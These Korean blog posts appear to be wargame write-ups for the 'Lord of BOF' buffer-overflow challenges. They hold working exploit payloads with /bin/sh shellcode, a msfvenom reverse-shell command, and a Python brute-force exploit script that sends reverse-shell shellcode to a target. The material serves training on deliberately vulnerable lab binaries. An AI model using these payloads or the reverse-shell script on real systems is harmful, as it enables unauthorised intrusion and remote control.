리버스쉘

1. metasploit을 이용해 쉘코드 생성

나의 내부 IP인 192.168.200.150과 임의의 PORT번호인 1234로 쉘코드를 생성하는 명령어를 입력한다.

명령어 :  "msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST="192.168.200.150" LPORT=1234"

 출력된 쉘코드는 아래와 같다.

buf =  ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

2. python으로 exploit을 작성한다.
import socket
from struct import *

host = "192.168.113.128"
port = 6666

p = lambda x : unpack("<L", x)[0]

shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
shellcode += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
shellcode += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50"
shellcode += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
shellcode += "\x0b\xcd\x80"

for i in range(0xff, 0x00, -1):
        for j in range(0x00, 0xff, 30):
                payload = "A"*44
                payload += chr(j)+chr(i)+"\xff\xbf"
                payload += "\x90"*100
                payload += shellcode

                print str(hex(p(chr(j)+chr(i)+"\xff\xbf")))
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((host, port))
                s.send(payload)
                s.recv(60)
                s.close()


3. 작성한 exploit 코드를 실행한다.


4. netcat으로 포트를 열어 대기한다.

브루트 포싱이 완료되면 아래와 같이 쉘이 따진 것을 확인할 수 있다.

my-pass에서 나온 비밀번호를 가지고 death_knight에 로그인해보니 txt파일이 하나 있어서 cat으로 출력해보니

아래와 같이 마패가 나온다. LOB 클리어~



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);

}


주석을 보면 fgets 함수에서 오버플로우를 발생시켜야한다.

그리고 바로 아래에 있는 두개의 if문을 보면 ret 0xbf로 시작하거나 0x08로 시작하는 주소가 들어가면 프로그램이 종료된다. 이 말은 즉 스택의 주소를 이용할 수 없다는 것이다.


또한 memset으로 버퍼의 값을 44바이트까지 0으로 변경한다.


이전과는 조금 다르게 문제에 접근해야한다.


fgets함수를 보면 stdin 임시버퍼를 사용해 buffer에 값을 입력한다.

memset으로 초기화 하더라도 임시버퍼에 있는 값들은 초기화가 되지 않는다. 이 점을 이용해 문제를 풀면 된다.


먼저 gdb로 임시버퍼의 주소를 확인한다.

1. main+29에 BP를 걸고 실행한다.

2. 임시버퍼의 주소를 찾는다.


0x4001500에 stdin의 주소다.

이제 버퍼에 쉘코드를 넣고 ret에 stdin의 주소를 넣어주면 된다.


25바이트 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



payload : (python -c 'print "\x90"*44+"\x74\x50\x01\x40"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./xavius


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26


/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

소스를 보면 문제를 풀기 위한 중요한 부분이 있음

1. memcmp함수를 통해 argv[1]의 44바이트 부분 부터 4바이트를 strcpy함수의 주소와 비교해 같으면 if를 통과

2. strcpy를 통해 argv[1]에 입력된 값을 buffer에 저장 후 memset함수에 의해 48바이트 부분 부터 4바이트가 'A'로 변경됨


이 부분을 우회하면 문제를 풀 수 있다.


먼저 memcmp함수를 통과하기 위해 strcpy 함수의 주소를 알아낸다.

strcpy의 주소는 gdb로 확인할 수 있다.

strcpy  -> 0x8048410

이제 저부분이 통과가 되는지 페이로드를 작성해 확인해본다.

payload = `python -c 'print "\x90"*44+"\x10\x84\x04\x08"'`

세그먼트 폴트가 뜨면서 프로그램이 종료됐다. 

일단 memcmp부분은 통과한 것이다.


이제 gdb로 main의 leave에 bp를 걸고 48바이트 뒷 부분이 'A'로 변경이 되나 확인해보면 아래와 같이 A로 변경이 된것을 확인할 수 있다.


이 문제를 풀기 위해 strcpy를 이용해야한다.

현재는 ret가 memset에 의해 0x41414141로 변경되어서 seg fault가 뜨면서 종료 된다. 

소스코드에 의해 sfp는 strcpy로 고정되어 있으므로 argv[1]에 strcpy의 인자를 주어서 0x41414141이 들어가 있는 주소에 쉘코드가 있는 주소를 넣어주면 ret를 쉘코드가 있는 주소로 변경할 수 있다.


아래는 strcpy함수의 syntax다.

char *strcpy(char *strDestination, const char *strSource);

인자로 Dst, Src를 주면 되겠다.

이제 payload를 완성해 나가면 된다.

먼저 쉘코드는 25바이트 짜리를 사용했다.

Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


payload : &shell[4]+NOP[15]+shell[25]+strcpy[4]+NOP[4]+&AAAA[4]+shell코드의 주소가 있는 주소[4]


이렇게 작성해서 gdbdump를 이용해 정확히 주소를 찾아가면서 수정하여 얻은 payload는 아래와 같다.


payload : `python -c 'print "\x0f\xfc\xff\xbf"+"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x10\x84\x04\x08"+"\x90"*4+"\xb0\xfa\xff\xbf"+"\x80\xfa\xff\xbf"'`


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

poppop ret 가젯 구하는 방법

SSo@linux$ objdump -d 파일명 | egrep 'pop|ret'


단 이 명령으로 찾을 때 주의할 점은 pop이 연속으로 위치해 있어야 하는걸 잘 기억하고 사용해야한다.


bss 구하는 방법

objdump -h 파일명 | grep "bss"


RET에 DO 함수 주소가 들어감...

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}
C언어 소스다. 소스를 보면 공유라이브러리는 사용이 불가능하고, 스택의 ret에는 DO함수의 주소가 있어야 한다. DO의 주소는 gdb에서 memcmp 함수가 실행되기 전에 스택에 push되는 값이랑 같기 때문에 그 값이 DO의 주소값이다. 더 쉽게 찾는 방법은 브레이크 포인트를 걸고 p DO를 입력하면 확인할 수 있다.

이런식으로 각 함수들의 주소를 찾는다.


페이로드를 작성해야한다. 

먼저 DO가 실행되고 이 DO가 실행되면 check변수가 1로 초기화 된다. system 함수가 있는 MO함수는 check가 4여야지 실행이 가능한데, DO를 실행하면 check=1이여서 실행을 할 수 없다. 이번엔 GUL함수를 보면 check에 2가 들어간다. 또 YUT를 보면 check에 3이 들어간다. 이런식으로 다른 함수들을 거쳐가면 check에 4다 들어갈 때 그 다음으로 MO함수를 실행하면 된다. 따라서 그 순서는  DO -> GYE -> GUL -> YUT -> MO 이렇게 실행이 되면 된다.

페이로드는 각 함수의 주소로 이어준다.

먼저 NOP으로 SFP까지 채워주고 ret에 DO를 넣고 순서대로 각 함수의 주소를 넣는다. MO까지 넣고 실행하면 아래와 같이 제대로 실행이 안된다.

작성한 페이로드는 

`python -c 'print"\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x88\xfa\xff\xbf"'`

MO함수가 system 함수를 실행하면서 cmd라는 명령을 실행한다. 하지만 cmd라는 명령어를 실행할 수 없기 때문에 쉘이 따지지 않는다. 따라서 저 명령어를 /bin/sh로 변경해주면 된다.

현재 저 페이로드 뒤에 MO함수의 ret부분에 더미값을 넣어주고, /bin/sh의 주소를 넣어주면 되는데 /bin/sh의 주소를 gdb에서 찾아보니 주소에 40이 들어가서 페이로드에 넣을 수 없다. 그래서 인자에 문자열로 "/bin/sh"을 넣어주고 직접 그 주소를 찾아서 system함수의 인자에 넣어주면 된다.


`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x90"*4+"\x88\xfa\xff\xbf"+"/bin/sh"'`




'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}


Fake ebp란 leave-ret 가젯을 ret에 넣어 ebp값을 조작하여 원하는 주소로 리턴을 시키는 방법이다.


ret에 leave-ret 가젯을 넣으면 main에서 leave-ret 후 한번 더 leave-ret을 실행하는데,

이 leave에서는 sfp 주소를 가리키는 ebp가 esp로 mov 되어 ebp, esp가 sfp 주소를 가리키게 된다. 

그리고 pop ebp가 되면서 스택에서 값을 ebp로 pop 하므로 esp가 +4가 되어 sfp의 다음인 ret를 가리키게 된다. 또한 ret에서  pop eip, jmp eip를 하면서 ret에 있는 leave-ret가젯을 실행한다. 

이 과정을 한번 더 실행하게 되는데, 현재 ebp는 sfp가 가리키던 주소의 값이 있다. 이 부분이 쉘코드가 있는 부분의 -4 주소여야 한다. 

계속 진행을 하면 mov esp, ebp를 하여 ebp와 esp가 쉘코드가 있는 부분의 -4주소를 가리키고있다. 그리고 pop ebp 후 esp가 +4가 되어 쉘코드가 있는 부분의 주소를 가리킨다. 

이제 ret가 진행 되는데, 현재 esp는 쉘코드가 있는 주소를 가리키는데 이를 pop eip 후 jmp eip를 하게 된다. 이로 인해 쉘코드가 있는 주소로 jmp하여 쉘코드를 실행한다.

먼저 leave-ret 가젯을 구한다.

leave-ret는 0x80484df다


이제 bp를 걸고 인자로 48바이트를 무작위로 넣는다.


AAAA에는 쉘코드가 있는 주소의 -4를 한 부분이 들어가야하고, BBBB에는 leave-ret 가젯이 들어가야 한다.


BBBB 뒤에 NOP와 쉘코드를 많이 넣어야겠다. 내가 사용한 쉘코드 아래와 같다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



NOP코드 앞에 NOP sled를 탈 수 있는 주소를 넣고 leave-ret 가젯을 추가해야한다. nopsled를 탈 수 있는 주소를 찾기 위해 스택을 확인해본다.


0xbffffc0c로 정했다. 이를 추가하고 페이로드를 입력하면 아래와 같다.

이제 core dump로 확인해보겠다.

segment fault 에러가 뜨면서 core dump가 생성되었다.


AAAA에 넣을 값을 찾아보면 

쉘코드로  nop sled를 탈 수 있는 주소-4를 한 주소인 0xbffffbc3을 sfp에 넣어야 한다.

payload = `python -c 'print "\x90"*40+"\xc3\xfb\xff\xbf"+"\xdf\x84\x04\x08"+"\x0c\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


쉘이 따졌다. 

하지만 임의로 생성해 setuid가 없기 때문에 권한상승을 위해 원래 파일에 페이로드를 넣고 오버플로우를 하면 된다.



RTL로 푸는게 더 간단하다.

먼저 RTL에 필요한 주소들을 찾았다.


buf-4 : 0xbffffaa0

system : 0x40058ae0

exit : 0x400391e0

/bin/sh : 0x400fbff9

leave : 0x80484df


원리는 똑같다. sfp에 system 함수를 가리키는 주소의 -4를 하는 주소를 찾아서 넣으면 된다. 페이로드에 AAAA를 먼저 넣었는데, system 함수 전에 AAAA가 있으므로 AAAA가 있는 주소를 sfp에 넣으면 된다. 


RTL payload = buf[40]+SFP[4]+RET[4]

= AAAA+system[4]+exit[4]+/bin/sh[4]+NOP[24]+&AAAA+leave-ret gadget

`python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\xa0\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`





'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}


이 문제는 RET sled로 문제를 풀었다. 

RET Sled란 ASCII Armor가 적용된 프로그램을 뚫을때 이용하는 기법인데

return address가 있어야하는 주소에 RET 가젯을 넣는다. 

RET가젯이란 아래 보이는 것처럼 프로그램의 RET의 주소를 return address에 넣는 것을 말한다.


많이 넣으면 RET가젯을 넣은 만큼 esp+4가 계속 되어 esp를 원하는 주소까지 올릴 수 있다.

ret에서 RET가젯을 실행하고 나면 esp가 ret+4가 되는데 이를 이용해 문제를 풀면 된다.


ret sled를 이용해 rtl도 가능하다.


ret에 RET가젯을 넣고 system()[4] + dummy or exit()[4] + /bin/sh[4] 를 하면 끝


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);


        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



system : 0x40058ae0

exit : 0x400391e0

/bin/sh : 0x400fbff9

execve : 0x400a9d48


execve함수의 ebp에 함수를 넣는다.

payload = "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`"




'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow skeleton  (0) 2017.08.21
문제 소스는 아래와 같다.
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

이전 문제와 달리 strcpy함수를 사용한다. 그리고 이전에 풀었던 문제들과 다른점은 argv[1]에 넣은 RET가 0xbf------여야 한다는 조건이 있었으나 이번에는 \xbf가 아니여야 strcpy함수를 호출할 수 있다.

간단하게 RTL로 풀 수 있다.

RTL의 payload는 NOP[44]+system address[4]+NOP[4]+/bin/sh address 이다.

system 함수의 주소와 /bin/sh의 주소를 알기 위해 GDB에서 leave에 BP를 걸고 실행한 후 system 함수의 주소를 알아냈다.


마찬가지로 /bin/sh의 주소를 알아야하는데 이를 알아내는 C코드를 컴파일하여 실행했다. 소스는 아래와 같다.


컴파일한 후 실행하면 아래와같이 주소가 나온다.


필요한 값들을 알았으니 payload를 작성했다.


쉘이 따졌다.



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18

아래는 문제 소스다. 버퍼크기는 40이며 이전문제들과는 달리 strcpy가 아니라 strncpy로 길이를 검사하여 버퍼에 복사한다.

복사하는 길이는 버퍼 크기보다 +1된 41만큼 복사한다.


이 문제의 힌트는 FPO다 FPO란 Frame Pointer Overwrite, 말그대로 frame pointer를 덮어 버린다는 것이다.

함수를 호출할때 EBP를 기준으로 복귀한다.

문제를 보면 버퍼크기보다 1 더 큰 41만큼 버퍼에 복사한다. 이 1바이트를 이용해 Frame Pointer를 오버라이트 하는 것이 포인트다.


/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

이 FPO는 Function epilogue 부분을 통해 문제를 푼다.

Function epilogue은 LEAVE, RET부분이다.

LEAVE : mov esp, ebp

           pop ebp

RET : pop eip

        jmp eip


여기서 EBP의 값이 SFP를 가리키고 있다가 problem 함수가 종료되면 복귀할 주소를 리턴한다.

문제 핵심은 여기까지고,


GDB로 실행시켜보겠다.

problem_child 함수의 41 부분 즉 leave에 BP를 걸고 argv[1]에 NOP[40]+"\x41"를 입력했다.


그리고 esp를 보면 아래와 같이 SFP에 마지막에 입력한 "\x41"이 SFP에 오버라이트 되어있는것을 볼 수있다. 


그럼 40바이트만 넣고 SFP를 확인하면 0xbffffb00이 들어있다.


0xbffffb00에 무슨 값이 들어있나 확인해보면 0x0804849e라는 주소가 있는데 이 주소는 main+50의 주소다.

즉 problem_child함수가 종료되고 돌아갈 주소이며 ebp+4의 주소다.


이 원리를 이용해 argv[1]에 NOP+Shellcode + 변조할 1바이트를 넣으면 된다.

우선 nop슬라이드를 타기 위한 주소를 알기 위해 얼추 "\xbf"로 1바이트를 덮고 확인해보기 위해 아래와같이 페이로드를 작성했다.

`python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*5+"\xbf"'`


그리고 esp로 sfp를 확인해보면 0xbffffbbf가 들어가있다. 버퍼는 0xbffffad4인데 너무 차이가 많이난다.


argv[2]에 값을 주고 SFP를 확인하면 EBP가 달라질 수 있으니 argv[2]에 nop를 좀 많이 넣어봐야겠다. 

argv[2]에 nop를 많이 넣었더니 이번엔 SFP가 0xbffffabf다. 


이제 SFP의 마지막 바이트를 쉘코드가 있는 주소인 \x74로 바꾼 후 실행해보면..

쉘이 따졌다.


참고페이지

http://hikai.tistory.com/

'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18
Lord of bufferoverflow troll  (0) 2017.08.18

이번 문제는 공유라이브러리를 이용한 BOF 문제다.


공유라이브러리는 심볼(함수, 변수)들을 프로그램이 시작하기전에 로드 하여 필요할 때마다 연동되는 동적인 라이브러리이다.

메모리, 용량 절약과 라이브러리를 언제든지 업데이트 할 수 있는 융통성을 갖지만 사용자로 부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다. 

프로그램이 실행할 때 아래 그림과 같이 컴파일 되고, 

링크가 되게 되는데 이 링크 과정에서 libc.so.6이라는 라이브러리에서 심볼(함수, 변수)의 정보를 적재 하게 된다. 

이렇게 공유 라이브러리가 프로그램이 실행될 때 동적으로 링크하게 되는데, 

공격자가 임의로 라이브러리를 만들고 LD_PRELOAD 환경 변수를 이용하여 hijacking을 하게 된다면 프로그램은 원래의 함수 를 실행되지 않고 공격자가 적재한 라이브러리 함수를 실행하게 된다. 


라이브러리를 만들기 위한 gcc컴파일러의 옵션으로는

-shared

공유 라이브러리를 우선하여 링크하도록 하는 옵션

-fpic -fPIC


LD_PRELOAD = 프로그램이 라이브러리를 가져오기 전에 원하는 라이브러리를 먼저 등록 시켜두는 환경변수로, 프로그램은 LD_PRELOAD로 지정된 공유 오브젝트를 먼저 링크시키게 된다.


먼저 홈디렉터리에 있는 C소스 파일을 공유라이브러리 옵션을 주어 컴파일 한다. 이때 이름을 NOP + 다형성 쉘코드로 준다.


그리고 이 파일의 (경로+이름)이자 쉘코드를 LD_PRELOAD 환경변수를 지정해준다.

정상적으로 등록이 됐다면 echo $LD_PRELOAD를 해서 확인해보면 파일의 이름이 등록된 것을 볼 수 있다. 


이제  공유라이브러리의 주소를 파악하기 위해 GDB로 golem을 디버깅한다.

esp-3000을 줘서 엔터로 주소를 올리며 확인해보면 0xbffff5f4쯤에 NOP가 존재하고 더내려가면 쉘코드로 입력했던 환경변수가 있다. 

payload를 아래와 같이 줬다.


쉘이 따졌다.






'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow darkknight  (0) 2017.08.22
Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18
Lord of bufferoverflow troll  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18

+ Recent posts